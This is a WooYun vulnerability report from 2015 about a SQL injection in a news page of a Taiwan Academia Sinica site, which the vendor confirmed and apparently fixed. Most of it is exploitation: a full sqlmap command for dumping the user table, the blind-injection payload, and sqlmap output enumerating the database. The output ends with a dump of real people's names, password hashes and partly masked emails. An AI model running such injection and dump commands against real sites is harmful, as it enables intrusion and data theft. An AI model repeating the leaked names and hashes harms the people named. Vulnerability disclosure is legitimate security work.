当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148844

漏洞标题：台湾中央研究院某处存在sql注入漏洞（泄露用户姓名，密码及email）（臺灣地區）

相关厂商：台湾中央研究院

漏洞作者： 路人甲

提交时间：2015-10-23 13:07

修复时间：2015-12-09 02:16

公开时间：2015-12-09 02:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态： 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-23： 细节已通知厂商并且等待厂商处理中
2015-10-26： 厂商已经确认，细节仅向厂商公开
2015-11-05： 细节向核心白帽子及相关领域专家公开
2015-11-15： 细节向普通白帽子公开
2015-11-25： 细节向实习白帽子公开
2015-12-09： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

台湾中央研究院某处存在sql注入漏洞（泄露用户姓名，密码及email）

详细说明：

地址：http://**.**.**.**/news/read_news.php?nid=1357

python sqlmap.py -u "http://**.**.**.**/news/read_news.php?nid=1357" -p nid --technique=B --random-agent -D asccnl -T user -C name,passwd,email --dump

漏洞证明：

---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1357 AND 3381=3381
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3
back-end DBMS: MySQL >= 5.0.0
current user:    'ccnewsletter@localhost'
current user is DBA:    False
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1357 AND 3381=3381
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3
back-end DBMS: MySQL 5
available databases [2]:
[*] asccnl
[*] information_schema
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1357 AND 3381=3381
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3
back-end DBMS: MySQL 5
Database: asccnl
[18 tables]
+-------------------+
| user              |
| access_control    |
| check_email       |
| file              |
| folder            |
| letter            |
| letter_body       |
| letter_template   |
| letter_weight     |
| mail_email        |
| mail_group        |
| news              |
| news_body         |
| news_version      |
| object_perm       |
| role              |
| send_letter_queue |
| user_role         |
+-------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1357 AND 3381=3381
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3
back-end DBMS: MySQL 5
Database: asccnl
Table: user
[8 columns]
+-----------+------------------+
| Column    | Type             |
+-----------+------------------+
| email     | varchar(255)     |
| name      | varchar(255)     |
| passwd    | varchar(255)     |
| regdate   | datetime         |
| status    | tinyint(4)       |
| uid       | int(10) unsigned |
| uid_e     | varchar(255)     |
| user_desc | varchar(255)     |
+-----------+------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1357 AND 3381=3381
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3
back-end DBMS: MySQL 5
Database: asccnl
Table: user
[10 entries]
+---------+------------------------------------+--------------------------------------+
| name    | passwd                             | email                                |
+---------+------------------------------------+--------------------------------------+
| guest   | $1$5MbZ0w3B$2/k.ftfK2TkM6DuLEAFkg/ | [email protected]                    |
| publish | $1$rMo2IvL5$lrqCvOIeC4Vu6xWBfUsls1 | publish@**.**.**.**           |
| 林翠娟     | $1$hqL8F9pJ$3Xsdc.aujmgoGCnaz6OZU/ | didi@**.**.**.**              |
| 江世民     | $1$TBvs5cy3$RdVpfSYJhv4Zo7pWRzYeQ1 | csming@**.**.**.**            |
| 沈治華     | $1$QHHsHxGM$yB3yO7IJjTC4u6SgMZcHe0 | odshen@**.**.**.**            |
| 游繼凱     | $1$Id4RE0wZ$xR1tYq2IXt7MkN6QqHLEp. | kenny79321@**.**.**.**        |
| 盧建安     | $1$K1iPlvCx$HhZsk/zZbJEQIK06aT0j6. | ja@**.**.**.**                     |
| 系統管理者   | $1$.Zy.8We/$X./xKUQ.9wlqLFn.K0jfK0 | [email protected].**.**.**.** |
| 葛行慧     | $1$6xeqowbh$gkLDp0hop5jre0vwpfxH20 | hsko@**.**.**.**              |
| 蕭心玫     | $1$MvmnTUYI$9aWTXZ3DYBDP/6ZK1HFEV1 | hhsia

修复方案：

增加过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-10-26 17:55

厂商回复：

感謝通報

最新状态：

2015-12-09：該單位通報已修正